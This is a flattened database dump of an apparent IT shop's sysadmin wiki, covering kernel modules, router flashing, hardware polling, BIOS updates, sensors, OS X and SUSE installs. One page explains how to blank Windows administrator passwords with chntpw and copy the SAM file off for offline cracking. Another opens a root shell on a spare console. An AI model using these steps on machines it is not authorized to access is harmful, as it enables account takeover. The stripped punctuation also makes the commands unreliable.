at our store he said both dates sound okay to him his email is thomas james goin gmail com james c sun the 16th '),(21,'hiking tux 200',' '),(22,'linux night topics',' hey guys feel free to leave comments or discussion here cheers pete '),(23,'sun cobalt xtr server',' os installation output by default is directed to serial 0 use minicom picocom etc with baud rate of 115200 for terminal access picocom command sequence ctrl-a then ctrl-u or d to increase decrease baud rate the strongbolt install from cd seems to require eth0 marked i to be used if not the base os is installed but blue quartz is not installed despite being selected on the lcd menu general info on cobalts distro of centos & bluequartz for non-cobalt systems blue quartz blue quartz blue quartz you can view sites by site preview in the site settings has to be enabled for this to work and the server has to have dns enable server active sites content is stored home sites moria azure com web sites is a sym link strongbolt kernel strongbolt kernel strongbolt kernel intro stongbolt is really a pretty cool distribution but i found it has very very few kernel modules installed this is a problem if you want to take advantage of lvm for example which on an xtr is a great idea as it supports 4 hard drives i researched this online found the compatible xtr source code and a colleague at work helped me learn how to make the kernel modules it is actually pretty straight forward and if you have an xtr this is certainly worth knowing kernel sources kernel source is available from event though the source is for the raq550 with will make modules etc for the xtr fine the specific source for the xtr is wget you can save this and make the modules etc in any directory really the usual place is in usr src - however the small partition sizes of a default strongbolt install make this impossible on a small drive just put it in home or where ever you have room usr src sbraq550src linux-2 6 16-raq550 kernel & module configuration cd to the directory where you have un-tar\'ed the kernel source and run make menuconfig this requires ncurses-dev installed to run so if you get any errors just yum install ncurses-dev and it should then run fine adding lvm support make menuconfig navigate to device drivers -- multi device support raid and lvm -- device mapper support select this open in the menuconfig it will be marked with an and when you exit it will ask to save the new config do so next make the lvm dm ko device mapper module with make modules make modules install the device-mapper gets built and put under usr src sbraq550src linux-2 6 16-raq550 drivers md just look in the drivers md directory of where you are building the kernel modules from cp -r md lib modules 2 6 16-xtr move it to current kernel modules directory - dm-mod ko is it and is contained in the md directory now load up the module with depmod -a modproble dm_mod lsmod should now show dm_mod root tardis net # lsmod module size used by fuse 26508 0 tun 5792 1 xt_tcpudp 2208 48 iptable_filter 1440 1 ip_tables 10328 1 iptable_filter x_tables 7332 2 xt_tcpudp ip_tables dm_mod 36888 5 adding vpn tunnel device this is pretty much exactly the same procedure as adding the lvm device-mapper module you run make menuconfig from the kernel source directory again this time navigate to network device support --- universal tun tap device driver support and select it mark it with exit from menuconfig and then make modules make modules install once the module is made you will fine it as tun ko look in linux-2 6 16-raq550 drivers net move it to the current kernel modules directory cp tun ko lib modules 2 6 16-xtr and load up the module depmod -ae modprobe tun you will see it show up in dmesg tun universal tun tap device driver 1 6 tun c 1999-2004 max krasnyansky and it will show up if you run lsmod ifconfig will also show the tun0 interface when you start the appropriate vpn server adding other modules you can add other modules the following the same process above to add the fuse user space file system module select it in make menuconfig this is built and placed src linux-2 6 16-raq550 fs fuse move the fuse ko with cp tun ko lib modules 2 6 16-xtr and proceed as with the above other modules '),(24,'openwrt linksys router',' tftp install tftp install tftp install # unplug the power to your router # start your tftp client pumpkin tftp is a good easy choice give it the router router\'s address usually 192 168 1 1 set mode to octet binary tell the client to resend the file until it succeeds put the file # plug your router while having the tftp client running and constantly probing for a connection # the tftp client will receive an ack from the bootloader and starts sending the firmware windows 2000 xp tftp client short instructions open two command windows start-run-enter cmd in one window type ping -t -w 10 192 168 1 1 and press enter 192 168 1 1 is the router ip ping will continuously try to contact the wrt with 10 ms timeout instead of default 4000 ms keep this running in the other window prepare the tftp command tftp -i 192 168 1 1 put openwrt-gs-code bin do not press enter yet now you may plug in the router unplug it first if it was plugged in the ping window it will start saying hardware error return to the tftp window as soon as the ping window starts to answer again press enter in the tftp window the image should now be flashed without multiple tries if ping starts with hardware error then starts to answer and then returns to hardware error again for a short moment you waited too long if you have a openwrt54gl v1 1 testet the timespan might be very short and is located about 2 seconds after pluging in and about 1 second before the ping starts to answer note if your computer set dhcp you may not get hardware error but destination host unreachable or request timeout set your computer static ip before client mode bridging client mode bridging client mode bridging x-wrt web interface x-wrt web interface x-wrt web interface install x-wrt manually the x-wrt webif depends on the haserl package so this has to be installed before the webif itself in both cases the specific links are needed to point ipkg to the correct package this requires internet access but it is as alternative possible to scp the packages onto the router they should be placed in the tmp directory root openwrt # ipkg install then afterwards it is just needed to type root openwrt # ipkg install the installation of webif will automatically add the new x-wrt repositories to ipkg conf and run the \'ipkg update\' command '),(25,'hardware info polling',' polling hardware specs with dmidecode and lshw lhsw-gui __forcetoc__ need to do a memory install system not labeled with what board it has want to know what motherboard and what memory it has and in what slots for motherboard hardware info use lshw and or dmidecode dmidecode is built in and provides a wealth of info lshw give much the same some extra and also provides a gui dmidecode dmidecode dmidecode # dmidecode dmidecode will show the number of memory slots and speed of memory and motherboard model information handle 0x0002 dmi type 2 8 bytes base board information manufacturer gigabyte technology co ltd product name 8ld533 version 1 x serial number # dmidecode grep memory handle 0x0018 dmi type 16 15 bytes physical memory array location system board or motherboard use system memory error correction type none maximum capacity 2 gb error information handle not provided number of devices 2 dimm info handle 0x0019 dmi type 17 27 bytes memory device array handle 0x0018 error information handle not provided total width 64 bits data width 64 bits size 512 mb form factor dimm set none locator a0 bank locator bank0 1 type unknown type detail cmos window dram speed 266 mhz 3 8 ns manufacturer none serial number none asset tag none part number none lshw lshw-gui lshw lshw-gui lshw lshw-gui this is a bit like cpuz for windows reports general hardware environment and has a gui available this is from for debian it it\'s just apt-get install lshw-gtk from universe repository centos install add this temporarily to etc yum com dries name extra fedora rpms dries - releasever - basearch baseurl gpgcheck 1 enabled 1 and import the key with rpm --import if you don\'t import the key you will get the ol\' public key for lshw-2 11 1-1 el4 rf i386 rpm is not installed and yum will choke # yum install lshw lshw-gui obviously you don\'t need the gui unless you want to forward it over x and view it that way # lshw will give you -core description motherboard product 8ld533 vendor gigabyte technology co ltd physical id 0 version 1 x -firmware description bios vendor award software international inc physical id 0 version 6 00 pg 10 16 2003 size 128kb capacity 192kb and also memory info speed slots etc -memory description system memory physical id 18 slot system board or motherboard size 1gb capacity 2gb -bank 0 description dimm cmos window dram 266 mhz 3 8 ns product none vendor none physical id 0 serial none slot a0 size 512mb width 64 bits clock 266mhz 3 8ns -bank 1 description dimm cmos window dram 266 mhz 3 8 ns product none vendor none physical id 1 serial none slot a1 size 512mb width 64 bits clock 266mhz 3 8ns or if you prefer ssh with -x and use lshw-gui and get the data forwarded through x to the gui front end '),(26,'bios updates',' bios updates huzzah we have collected bios updates for all our dell servers and the key generic ones as well practically all these systems have whatever bios version they shipped with some of the dell 750s for example have bios versions a00 - whereas the current is a08 for example these bios updates contain innumerable updates for the various systems including improved pxe booting support often updating pxe boot to 2 1 and enabling more pxe options and improved support for booting recognizing external usb devices one board even gains a hardware raid config menu many get new pxe boot menus which then have new options some can then use other memory types or support different cpus such as the celeron d etc etc ad nausium as both pxe and booting from usb devices is a crucial function our servers must perform updateing the bios is a very good idea this should be done as part of any new install reinstall or when otherwise possible it takes only a few minutes to do operational systems allow us to stay one step ahead of the damn peace keepers whenever possible and they make the radiant aeryn sun much happier mini_aeryn01 frame center the radiant aeryn sun methods of booting methods of booting methods of booting there are three update routes a pxe booting this is not yet operational b bootable usb stick c bootable cd rom a pxe booting this is still being worked on use the other two methods for now b bootable usb stick the \'bios labeled usb key can be used on all dells and many generics set the boot option for enable other yes and on dell set the boot device priority etc c bootable cdrom boot to the cd and then a cd d to get to the files organized under the bios directory both the cd and usb keys should be kept in the install room on the bulletin board please return them there how to update the bios how to update the bios how to update the bios once you are in the bios update dos environment simply cd to the appropriate directory - these are named after the board model for example 8ld533 or s2727 etc this is printed on the board or of course visible in the post screen the pause key will halt the post sequence so you can see the bios and board info once in the correct directory just run the flash utility and supply the image file name c awfl823b exe p4map148 bin will run the utility and pass the bios image automatically to it you do not need to save to old bios some boards have autoexec bat files to do the above dell servers - upgrading in linux dell servers - upgrading in linux dell servers - upgrading in linux you can update dells using the dos executable available in the pxe bios update or on the boot cd or usb stick they are organized by model under bios dell delldos you can also execute the linux bin file from centos 4 5 or 5 very easily a reboot should be done after as the flash operation does not occur until reboot however the reboot is not immediately required steps from within centos mount the bios usb key or bios cd rom yum isntall compat-libstdc use the latest i386 version execute the appropriate bin file located on the usb stick cdrom in bios dell delllinux reboot and monitor the flash only government sanctioned centos is this easy for other distros your mileage will vary generic servers generic servers generic servers some of these will boot to the usb stick some will not there are about a dozen different generic boards the key ones have bios updates available you will just need to try booting first to the usb and then the cdrom these are more of a pain but updating them will make everyones lives easier so please do so when you are doing reinstall them etc board notes board notes board notes there are hardware notes on the various board in the readme txt file under the bios directory if you come across specific hardware pxe information that should be included please let me know and it can be added board bios versions board bios versions board bios versions these are the latest most stable bios versions to use dells 750 a06 850 a04 1425 a03 1850 a06 generics 845gvmrz f3 note there are later versions which all seem to disable pxe support entirely use f3 8ld533 f3 8ls533 f2 p4map266 1 48 p4ma533 1 12 p4p800mx 1004 2002 rev b1 dfi 1 8 most already have this - i don\'t think there ever was an update s2727 1 04 these are the dual xeons pxe is very weird on these there are two versions i think all ours use the mx and not the windbond flash msi 6524 1 70 '),(27,'mini aeryn01',' '),(28,'lm sensors hardware monitoring',' __forcetoc__ lm_sensors right frame intro intro intro homepage if you are running a 2 6 kernel install should be pretty easy get lm_sensors from there is now a quickstart file in the package this has the simple setup for 2 6 kernels the first part of this is excerpted and given at the end of this page please read this ensure i2c is installed - lsmod will show if it is if not read up and install it the rest of this is on how to configure the sensors to read more correct tempuratures important the diodes and thermistors used on motherboards are extremely inexpensive we are not going to get perfect readings from them actually sometimes not even that close it it\'s not a sensor that nasa is going to be using real soon the raw reading is computed using a simple algorithm to yield the final result displayed as temperature you can make it be whatever you want bios uses it it\'s own formula lm_sensors uses it and you can modify it as needed we can experiment and determine what the best most broadly effective formula could be by comparing bios reading lm_sensor reading and through another digital thermometer whose reading are know to be good sensor configuration sensor configuration sensor configuration run sensors-detect will detect the on board sensors this will then write changes to etc modules to include those discovered once these modules are loaded running sensors should give you an out put like sophelo3 var lib dpkg info# sensors it8712-isa-0290 adapter isa adapter vcore 1 1 50 v min 0 00 v max 4 08 v vcore 2 1 49 v min 0 00 v max 4 08 v 3 3v 3 30 v min 0 00 v max 4 08 v 5v 5 00 v min 0 00 v max 6 85 v 12v 11 90 v min 0 00 v max 16 32 v -12v -5 27 v min -27 36 v max 3 93 v -5v -4 56 v min -13 64 v max 4 03 v stdby 4 95 v min 0 00 v max 6 85 v vbat 4 08 v fan1 0 rpm min 0 rpm div 128 fan2 0 rpm min 0 rpm div 128 fan3 10714 rpm min 0 rpm div 2 m b temp 25u8c2b0c low 127u8c2b0c high 127u8c2b0c sensor thermistor cpu temp 93u8c2b0c low 127u8c2b0c high 127u8c2b0c sensor diode temp3 30u8c2b0c low 127u8c2b0c high 127u8c2b0c sensor diode note if temperatures are completely wacky you likely need to change the sensor type from thermistor to diode or vice versa modify etc sensors conf and search for the sensor type identified in the first line of output - it8712 in this case you can also check in etc modules this conf file is big - so just search for it change the line that look like this # temperature # # important - if your temperature readings are completely whacky # you probably need to change the sensor type # adjust and uncomment the appropriate lines below # the old method modprobe it87 temp_type 0xxx is no longer supported # # 2 thermistor; 3 thermal diode; 0 unused set sensor1 2 set sensor2 3 set sensor3 3 # if a given sensor isn\'t used you will probably want to ignore it # see ignore statement right below label temp1 m b temp # set temp1_over 40 # set temp1_low 15 label temp2 cpu temp # set temp2_over 45 # set temp2_low 15 # ignore temp3 label temp3 temp3 you must reload lm_sensors config with sensors -s for changes to take effect more to add more to add more to add add here more information on configuring etc sensors conf why are some voltages incorrect why are temperatures sometimes negative thermistors and transistors as temperature sensors how do they work anyway quickstart quickstart quickstart excerpted from quickstart packaged with lm_sensors lm_sensors quick installation instructions ------------------------------------------ the instructions in this document will generally work if you have a standard system but not always the first part of document is for 2 6 kernel series second part is for older 2 4 kernels quickstart for kernel 2 6 ------------------------- 0 just compile and install lm-sensors userspace tools you can do that with \'make user; make user_install\' 1 make sure your kernel has support for all i2c bus drivers and \'i2c device interface\' if you are using a distribution kernel all is already prepared you don\'t need to recompile it 2 run \'sensors-detect\' command it will tell you what modules you need to load 3 load them and run \'sensors command you should see some results 4 find right section in etc sensors conf fix labels limits fan divisors 5 run \'sensors -s to apply the changes you may also try our installation wizard at we are aware that the documentation could be improved please contact us if you want to help us with that and form the install doc for 2 5 2 6 kernels do not attempt to compile this package use the drivers already in the 2 5 2 6 kernel tree if you are running a 2 5 2 6 kernel the only thing you need to do is \'make user\' and \'make user_install\' do not follow the rest of these instructions mbmon - fix me mbmon - fix me mbmon - fix me this needs further work to make it work on centos help out if you want an alternative is mbmon however this is not available as a yum package for centos you can make an rpm created from the debian package with alien but attempting to install it will have a failed dependency perl rrds is needed by mbmon-2 05-5 i386 this is resolved by installing rpm -ivh perl-rrdtool-1 2 12-1 2 el4 test rrdtool-1 2 12-1 2 el4 test rrdtool-devel-1 2 12-1 2 el4 test or latest which are available from all four above rpms including the aliened mbmon itself are on the file server under mbmon however after install those three rpms and trying to install the mbmon again you will get root tardis # rpm -uvh mbmon-2 05-5 i386 rpm preparing ########################################### 100 file etc init d from install of mbmon-2 05-5 conflicts with file from package chkconfig-1 3 13 4-1 so you can compile it from source available at this is the source for both the xmbmon and mbmon while this should be a simple configure make make install it also runs into trouble giving me callandor xmbmon200 # make gcc -c -o3 -i -dhave_config_h -wall getmbinfo c in file included from pci_pm h 16 from getmbinfo c 22 io_cpu h 13 29 error machine cpufunc h no such file or directory getmbinfo c in function u8e28098initmbinfou8e28099 getmbinfo c 220 warning implicit declaration of function u8e28098strcmpu8e28099 make getmbinfo o error 1 on two test centos boxes i tried it on to be continued '),(29,'lm sensors',' '),(30,'apple osx tips',' mouse support mouse support mouse support official mouse support for os x sucks tons of new logitech mice are not officially supported though often they will actually work with basic functionality if you install the logitech control panel free for enhanced functionality check out usb overdrive and steer mouse both are shareware 20 to buy and provide full or near full functionality for a very wide assortment of usb wireless and bluetooth input devices very handy software indeed transparent terminal transparent terminal transparent terminal changeme-2-prod-2 archimedes cat bash_profile export clicolors 1 defaults write com apple terminal terminalopaqueness \'0 85\' alias ls ls -g '),(31,'open suse 10 3 notes',' __forcetoc__ compiling kopete otr plug in for suse 10 3 from the official website at otr is described as off-the-record otr messaging allows you to have private conversations over instant messaging by providing encryption no one else can read your instant messages authentication you are assured the correspondent is who you think it is deniability the messages you send do not have digital signatures that are checkable by a third party anyone can forge messages after a conversation to make them look like they came from you however during a conversation your correspondent is assured the messages he sees are authentic and unmodified perfect forward secrecy if you lose control of your private keys no previous conversation is compromised installing otr for kopete under suse 10 3 follow the instructions at if you are actually running suse 10 3 and just want to install the rpm packages and forgo the stimulating procedures herein they can be found at the end otr libraries otr libraries otr libraries build it from source first download the libgcrypt development libraries #zypper install libgpg-error-devel libgcrypt-devel libgcrypt itself should already be installed but you need the development libs for compiling then build otr library source from wget it configure make make install better than make install run checkinstall to make the rpm and install it that way this way the rpm database will be aware of the installation and future rpm depedanceis will be resolved correctly for example - if you do not do this and then try to make and install the rpm for kopete in the next section you will get warnings that libotr s0 2 is missing when in fact it is in usr lib by creating and installing lib-otr as an rpm the rpm database will be aware of it you can proceed with makeing and installing the rpm for the kopete plug in kopete plug-in kopete plug-in kopete plug-in next compile the kopete plug-in itself you will need the stdc development libraries for this one also make sure you actually have the c compilier installed - it is not by default and if not you will get an error when you run configure configure error your installation isn\'t able to compile simple c programs check config log for details - if you\'re using a linux distribution you might miss a package named similar to libstdc -dev install these packages to be able to build c programs #zypper install libstdc 42-devel libstdc 42 libstdc -devel gcc-c xorg-x11-devel libqt4-devel #qt3-devel kdelibs3-devel kdenetwork3-devel you also need the x11 development & kde dev libraries as above download the source code from tar xvjpf kopete-otr-0 7 tar bz2 with all the packages listed above installed you should just be able to do the usual configure make && make install or checkinstall to build the rpm instead do this as it it\'s easier to remove the rpm install onto another systems etc compiled rpms compiled rpms compiled rpms have open suse 10 3 and just want to skip all the work here are the rpm for the above ready to go media libotr-3 1 0-1 i386 rpm media kopete-otr-0 7-1 i386 rpm '),(32,'libotr-3 1 0-1 i386 rpm',' '),(33,'kopete-otr-0 7-1 i386 rpm',' '),(69,'ies4linux - internet explorer on linux',' can i run internet explorer on linux can i run internet explorer on linux can i run internet explorer on linux need to run internet explorer on linux for some reason i needed to in order to run a web driven tutorial site that uses activex controls no worries - it it\'s easy i had read about ies4linux which allows you to install various versions including a beta version of ie 7 on linux basically you run them under wine and install some various windows native support files etc installing this was extremely easy and now i can run my math tutorials for school on any linux box by the by - this is a great site that dynamically generates math problems for algebra calculus statics etc classes there is no registration required nice and it is free get all the math problems you may ever wanted shoveled at you until your heart is content ahhhh however it confronted me with this nasty red text dialog saying firefox and linux were not supported well thought i we shall see indeed what a horrible thing to tell a visitor installing installing installing installation instructions for installing ies4linux on ubuntu are here there are guides for other distros there as well installation was extremely straight forward and running then installed binaries encountered little to no issues '),(34,'apple os x darwin ports',' this is a quick guide to installing darwin ports under os x 10 4 darwin ports in similar to the ports tree in freebsd providing easy building and installation of thousands of applications for os x you must first install the development tools for os x which include development libraries the gcc header files etc required to build applications darwin ports requires the c compiler and libraries to be installed in order to install the ports package itself apple developer tools apple developer tools apple developer tools download x code version 2 5 or latest for your platform ppc intel etc from the apple developer site this is about a 900mb download mount the dmg file and install the development tools themselves documentation is included you can verify it is install correctly by typing gcc into a terminal changeme-2-prod-2 documents archimedes gcc powerpc-apple-darwin8-gcc-4 0 1 no input files changeme-2-prod-2 documents archimedes showing the gcc compiler is now installed but no input file to compile was specified x11 for os x x11 for os x x11 for os x you should install x11 the x windows gui environment for os x you and do this by either installing it from you os x install disk or better just download and install the latest version 1 1 3 directly installation is very straight forward as an aside - now that you have x11 installed why not install the gimp for os x it it\'s no more than a new clicks away at this point darwin ports darwin ports darwin ports once x code 2 5 is installed as above installing darwin ports is quite straight forward the full instructions can be found at as well as 1 download darwin ports 1 5 or latest 2 mount the dmg file and then install darwin ports important step 3 you must include some additional directories in your path so that os x will be able to find the binaries included with darwin ports i e the port command itself and packages you install with it simple execute these commands in the terminal export manpath manpath opt local share man export infopath infopath opt local share info export path opt local bin opt local sbin path and verify the path is set correctly and that it now includes opt local bin by using echo path from the terminal changeme-2-prod-2 documents archimedes echo path bin sbin usr bin usr sbin opt local bin 4 update the port package with sudo port -d selfupdate this will check the requierments for the build environment which is why x code 2 5 was installed earlier it will them compile a few things note that at the end it will display the location where darwin ports was installed to for example opt local var macports sources rsync macports org release base 5 you may now install packages from ports by building them from the source code see the following examples and documentation at installing tightvnc installing tightvnc installing tightvnc tightvnc is a popular vnc server for x this is usefull for connecting to you mac if you are running x windows and using x apps this will not directly allow you to connect to the normal os x quartz aqua desktop remotely - to do that you may use other os x vnc apps such as vinevnc server which work quite well installing tightvnc from darwin ports consists of 1 from a terminal run sudo port install tightvnc 2 it build and install the app after this you will need to specify a path to x executables which are required for tightvnc export path path usr x11r6 bin 3 you may now run tightvnc with vncserver 4 there are also other vnc apps installed such as vncviewer to allow you to connect to other systems os x linux etc running vnc servers vncpassword obviously sets the password for you vns sessions changeme-2-prod-2 documents archimedes vnc vncconnect vncpasswd vncserver vncviewer installing mtr installing mtr installing mtr here is an example of using darwin ports to install mtr - a popular networking utility for route analysis changeme-2-prod-2 documents archimedes mtr -bash mtr command not found darn don\'t have mtr installed no worries changeme-2-prod-2 documents archimedes sudo port install mtr password --- fetching mtr --- attempting to fetch mtr-0 72 tar gz from --- verifying checksum s for mtr --- extracting mtr --- configuring mtr --- building mtr with target all --- staging mtr into destroot --- installing mtr 0 72_0 --- activating mtr 0 72_0 --- cleaning mtr changeme-2-prod-2 documents archimedes mtr cnn com if mtr is not found you most likely do not have opt local sbin set in your path see above if path is exported mtr will run my traceroute v0 72 changeme-2-prod-2 local 0 0 0 0 sat nov 24 18 01 08 2007 keys help display mode restart statistics order of fields quit packets pings host loss snt last avg best wrst stdev 1 192 168 2 1 0 0 6 1 9 1 8 1 8 2 0 0 1 2 10 97 96 1 0 0 6 7 8 8 4 6 9 9 9 1 1 3 pch15 51 tampflerl-rtr2 tampabay rr com 0 0 6 10 6 13 6 10 5 18 4 3 7 4 pos6-0-oc-192 tampflerl-rtr4 tampabay rr com 0 0 6 11 4 15 9 10 3 37 8 10 8 5 pop2-tby-p3-0 atdn net 0 0 6 13 0 11 8 10 7 13 0 0 9 6 bb1-tby-p0-3 atdn net 0 0 6 14 3 32 7 10 8 133 8 49 5 7 bb2-atm-p2-0 atdn net 0 0 5 23 1 24 0 22 8 25 9 1 3 8 installing smartmontools installing smartmontools installing smartmontools changeme-2-prod-2 opt local var macports sources rsync macports org release ports sysutils smartmontools work smartmontools-5 37 sudo configure sudo make sudo make install places it in usr local sbin mieren usr local sbin smartctl -a dev disk0s9 mount will show you the dev drive to use #################################################################### # # please read this box # # to manually start the smartd daemon run # usr local etc rc d init d smart smart start # # to automatically start smartd on bootup add the line # smartd -yes- # to etc hostconfig # # smartd can now use a configuration file usr local etc smartd conf do # man smartd # to learn about it a sample configuration file can be found in # usr local share doc smartmontools-5 37 # #################################################################### thousands of other applications are now available to you using the same methodology you may also learn more about a particular port with port info mtr gui for darwin ports gui for darwin ports gui for darwin ports of course if you want a gui for interacting with darwin ports there are a few available checkout both portauthority shareware and porticus 1 0b4 open source - find both on version tracker '),(35,'linux hardware repair - a class',' maxlinuxpenguin right frame introduction introduction introduction diagnosing and repairing pc and servers requires the intelligent use of many tools there is no single piece of testing software that is perfect or suits every situation often many hardware issues data salvage operations and system troubleshooting steps can be performed using linux this adds some very powerful tools to your technician arsenal the focus of this lab is to give you a general orientation to linux as it can be used by hardware technicians you might be surprised how easy it is to use some of these tools and how powerful they can be linux can assist with troubleshooting 1 hardware driver issues 2 hard drive problems 3 data recovery 4 networking issues 5 boot block corruption 6 stress testing 7 windows password cracking 8 partition resizing gparted 9 remote connections rdp ssh linux for hardware analysis linux for hardware analysis linux for hardware analysis to get information about your hardware environment you can use #lspci to show a list of devices recognized this is great for finding out information like the exact nic etc #dmidecode less will provide a wealth of information you can use the gui version too hardware info polling you can find out bios information memory type speed how many memory slots etc #dmesg will show you all the boot messages great for reviewing what happened during boot time what was recognized etc drive testing linux provides fantastic tools for analyzing hard drives the intelligent interpretation of the data available using these tools can go far in determining the drive fitness or in data recovery s m a r t this section is just an intro to smart there is a more extensive page on this subject at smart drive diagnostics smartctl is part of the smartmontools package for most linux distributions if not already installed you should easily be able to install it with the package manager for that distro apt-get install sysmontools for debain ubuntu yum install sysmontools for red hat based systems using smartclt is very easy smartctl -a dev hda or dev sda for sata drives samrtctl -s on dev sda will activate smart if it is currently disabled on the drive bypassing bios this gives you a significant amount of data to analyse note that different values are evaluated differently increasing numbers for some attributes reallocated sectors crc errors etc are bad while increasing numbers for others read error rate are actually good and excellent reference for analysing these attributes is at wikipedia pay particular attention to the reallocated sectors pending sector count and the total number of smart errors ata error count hd parameters show and set drive parameters and perfrom read write tests with this great tool hdparm - list help and options hdparm dev sda or hda for pata drives hdparm -i dev sda hdparm -i dev sda hdparm -tt dev sda time read and write speeds and show results a fantastic site with tons of information on hdparm is the gentoo wiki there is also a tool for scsi sata and sas drives called sdparm which uses different options an addition tool called seeker is available from the below site it must be compiled but is very easy to do so wget gcc -o2 seeker c -o seeker data recovery data recovery data recovery often a failing drive will no longer boot to the os or the os is too corrupted to boot and needs reinstalled there are several options for data recovery using linux tools 1 just boot to a live cd if the amount of data to be recovered is relatively small you can simply plug in a usb stick or external hard drive and recover the data onto it - never even removing the drive from the system note usb 2 0 firewire drives are best for this 2 if the drive is physically mechanically failing and won\'t boot it may be salvagable with dd or ddrescue this allows you to clone the defective drive onto a new target drive this is often more successful than utilities such as ghost which do not handle drive errors well etc the basic use if very simple dd if dev sda of dev sdb would copy drive sda to sdb ddrescue gives other options sepcificaly for drive recovery operations you can also use dd_rescue which offers some additional tools and gives an update on its status which dd does not dd_rescue dev sda dev sdb windows password resetting windows password resetting windows password resetting you can use ubuntu and other linux tools to reset erase a windows password this does not always work on 2003 rc2 etc always ensure the person you are granting access to is authorized windows password cracking networking tools networking tools networking tools mtr destination ip address great tool for analysing a route combination or ping and traceroute together if not installed it may be part of a package such as iputils iptraf provides detailed analysis of ip traffic on the computer more suited for analyzing traffic on a server with multiple connections to it mii-tool gives current link status by using the -f option you can specify the speed an duplex of the link usefull for quickly troubleshooting what the line is actually set to despite what the corporate networking guys tell you it is ifconfig use by itself or specify the network adapter such as ifconfig eth0 this is similar to ipconfig in windows you can bring the interface up and down with ifconfig eth0 up restarting networking you may need to restart the networking service in order for changes to take effect this is usually done with a command such as service network restart or by running the script that controls networking in that distribuiton for example etc init d network restart boot block corruption boot block corruption boot block corruption it is inevitable that boot block corruption sometimes occurs windows and linux can be easily repaired and made bootable again if you install linux and can no longer boot windows because grub becomes corrupted don\'t fear if windows won\'t boot because the mbr is corrupted it can be fixed a great tool for this is super grub available at this is a menu drive bootable cd to assit in mbr repairs and system recovery rescue live cd distributions rescue live cd distributions rescue live cd distributions knoppix - the classic live environment linux cd taking the world by storm - ubuntu this is both an install and a live cd red hat hat\'s fedora project live cds for latest version available here live cd focusing on network analysis and pen testing repair tools repair tools repair tools super grub - repair boot issues for linux and windows built in ntfs support and a variety of recovery tools system stress testing '),(36,'maxlinuxpenguin',' '),(37,'junk page',' this is a junk page '),(38,'windows password cracking',' intro there are several methods of cracking or bypassing account passwords on a windows based system a couple methods are given below feel free to add others first - most of the time you don\'t actually need to crack the user user\'s password or recover it you can usually just set a new password this is far easier ubuntu ubuntu ubuntu 1 boot the system with a ubuntu cd 2 mount the guys windows drive - specifically the partition containing the windows directory a normal windows install only has a couple ntfs partitions it should be pretty clear what to mount 3 install the chntpw application in ubuntu a you must add uncomment the multiverse repo to etc apt sources list b or you can just add the multiverse repo using synaptic using the gui c then sudo apt-get install or use synaptic the package named chntpw 4 cd to your_mnt_point windows system32 config 5 #chntpw sam as root 6 follow the prompts - it is pretty straightforward however read what it is asking you it will default no two or three times when it asks to write the modified files etc and if you don\'t pay attention you wont make any changes 7 select the administrator account and just use to blank the password don\'t try setting another 7a optional i usually unlock the admin account before blanking the password 8 finish answering the remaining prompts - read carefully 9 reboot and try accessing the system now with just a blank password 10 if successful immediately set a new password just hit ctrl-alt-delet and choose reset password from the screen yep if you don\'t do this the system will be completely vulnerable linnt linnt linnt this tool is known by a few names we call in linnt here this is a bootable linux cd that has a variety of tools just choose the reset windows password option from the menu the reset of the step are the same as ubuntu from 6 on above in fact i believe it is basically the same tool if not exactly the same winternals winternals winternals just boot the system using the winternals cd select the windows installation you want to attach to use skip network detection it takes forever once the winternals recovery environment is fully loaded click on the w start button and select the lock pick tool from the menu easy as pie cracking the password cracking the password cracking the password the above allows you to blank the password and circumvent it normally this works however you may need to actually recover the old password you can try tools like cain and able and others etc once you have access to the system with ubuntu livecd you can ftp the sam file to yourself for further cracking etc it doesn\'t work it doesn\'t work it doesn\'t work the ubuntu linnt solution does not work on all versions service packs of windows it normally works well on most 32 bit 2003 distributions including later service packs however it does not always work if you still can\'t log on after trying the above it will get more complicated and require actually cracking the sam hiv files good luck we can add more on this part later '),(39,'suse 10 3 network install',' geeko frame right installing installing installing update for suse 11 3 i\'ve updated some links but the procedure is essentially the same the 11 3 network install cd allows for using a wireless card to perform the install which is pretty cool note that you need to use the ip address of the mirror not the fqdn despite what the suse wiki says i have yet to see the auto-detection of mirrors work but if you follow the steps below and manually enter the info it will install fine update you can now install suse for the pxe menu you don\'t need a cd however you may still need some of the repository information from this section setup of the repos is extremely specific a general guide to using the pxe method is also at you can download and burn the whole 4 gb install dvd or use the network install cd method described here the network install has some twists which i have created this how to in order to help clarify the instructions are at 1 download the network install cd image from download the start-cd-image or the network install image from the suse downloads site this should automatically have the repos set up in it for doing a network install the repos should be the ones from where you downloaded this particular image from note pay close attention to the installation repository section of the mirror you use if you mouse over it you will see the link that should be the repo used during install also ensure the mirror is reachable via ip and not hostname - if you can\'t substitute the ip in the link the install will not work example from us repo georgia tech installation repository link is note well if this particular repo is broken when you install you will have to use another you can enter a new repo ip and ftp directory to use during the install procedure using f4 first enter the ip only - host out the fqdn from the above repo link in this case gtlib gatech edu hosts out to 204 152 191 39 on the next screen enter the repo path in this case opensuse distribution 11 3 repo oss the end of this how to has a list of repos you can print out and try if the default one does not work repositories repositories repositories you can and should add remove change repos using yast yast -- software -- community repositories you should add the oss repo - this is the primary open source software repo disable the install dvd so its no longer as an install source vi etc zypp repos d opensuse-10 3-dvd 10 3 repo change to enable 0 repo information is contained in etc zypp and is similar to centos in operation and structure etc zypp redos d contains the configs for the repos etc configuration & yast configuration & yast configuration & yast the primary suse configuration tool is yast yet another software tool this is both a package manager and a server config utility running it in the shell provides a console gui environment for setting up network adapter settings default route repo setup and downloading of packages you can search for packages in this utility and mark them with space bar to be installed etc using the package management functions is very similar to aptitude for ubuntu etc config files and location are very similar to centos but slightly different network adapter you can configure the nic and default route in yast - just do that but for reference the config files are described here nic config file is at etc sysconfig network ifcfg-eth0 sample netmask bootproto \'static\' broadcast ethtool_options ipaddr \'192 168 2 5 24\' mtu \'1500\' name \'dell 3c905c-tx tx-m tornado \' network remote_ipaddr startmode \'auto\' usercontrol \'no\' note well gateway gateway setup is not in ifcfg-eth0 it is in etc sysconfig network routes sample default 192 168 2 1 - - just use yast to set all network settings in this case default route is set in yast -- network services -- routing dns and hostname yast -- network services -- dns and hostname firewall yast -- security and users -- firewall change autostart stop start manually configure etc post install packages to install post install packages to install post install packages to install set up repos in yast and then install using yast gui or zypper cli install these packages yast --- software -- software managemnet iputils mtr nano openssh vim screen wget alt f8 hack alt f8 hack alt f8 hack modified from centos ks install scripts modified paths for suse this should does not at all work sago support daemon installation cd etc rc d wget bin chown root root etc rc d supportd bin chmod 755 etc rc d supportd sbin chkconfig --level 0126 supportd off sbin chkconfig --level 345 supportd on we might try adding an init script to openvt -c 8 bin bash 